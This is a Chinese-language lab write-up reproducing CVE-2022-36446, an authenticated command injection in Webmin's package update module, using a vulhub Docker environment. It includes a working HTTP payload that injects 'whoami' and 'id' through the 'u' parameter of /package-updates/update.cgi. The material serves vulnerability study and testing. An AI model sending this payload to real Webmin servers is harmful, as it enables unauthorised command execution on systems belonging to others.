0x01 漏洞介绍
漏洞等级:严重
Webmin 是功能最强大的基于 Web 的 Unix 系统管理工具。管理员通过浏览器访问 Webmin 的各种管理功能并完成相应的管理动作。在版本 1.997 之前的 Webmin 中存在一个任意命令注入漏洞,触发该漏洞需登录 Webmin。
0x02 漏洞影响范围
WebMin 版本小于 1.997
0x03 漏洞利用条件
- 此漏洞需身份验证;
- 并且该账户必须有权限访问软件包更新模块,需要访问'Software Package Updates'模块才能触发漏洞;
0x04 漏洞复现
环境搭建
-
使用 vulhub 搭建环境,把 vulhub 下载到本地。
-
进入 vulhub/webmin/CVE-2022-36446,使用此环境进行 CVE-2022-36446 漏洞复现。
docker-compose up -d # 启动漏洞环境
docker-compose ps # 查看漏洞环境映射的端口
-
访问
https://ip:10000,出现以下界面表示环境部署成功。 -
接下来需要修改 webmin 的密码,需要进入容器中修改。
docker ps # 查看漏洞环境容器 id
docker exec -it 容器 id /bin/bash # 进入容器内部
cd /usr/share/webmin/ # 进入容器内的/usr/share/webmin/目录下
./changepass.pl /etc/webmin root root # 将 root 密码设置为 root
漏洞复现
-
以上设置完之后,使用 root/root 登录 webmin。
-
抓取登录后的任意数据包。
-
发送到 Repeater 模块,更改请求方式为 POST。
-
更改请求路径为
/package-updates/update.cgi,添加 payload,发送请求,返回包中出现命令执行结果。
mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow
Payload 示例:
POST /package-updates/update.cgi HTTP/1.1
Host: X.X.X.X:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-From: mount
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://X.X.X.X:10000/mount/?xnavigation=1
Cookie: redirect=1; testing=1; sid=75eb9d34c1642057244dc271fb980bf6
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
mode=new&search=ssh&redir=&redirdesc=&u=0%3Bid%3B&confirm=Install%2BNow


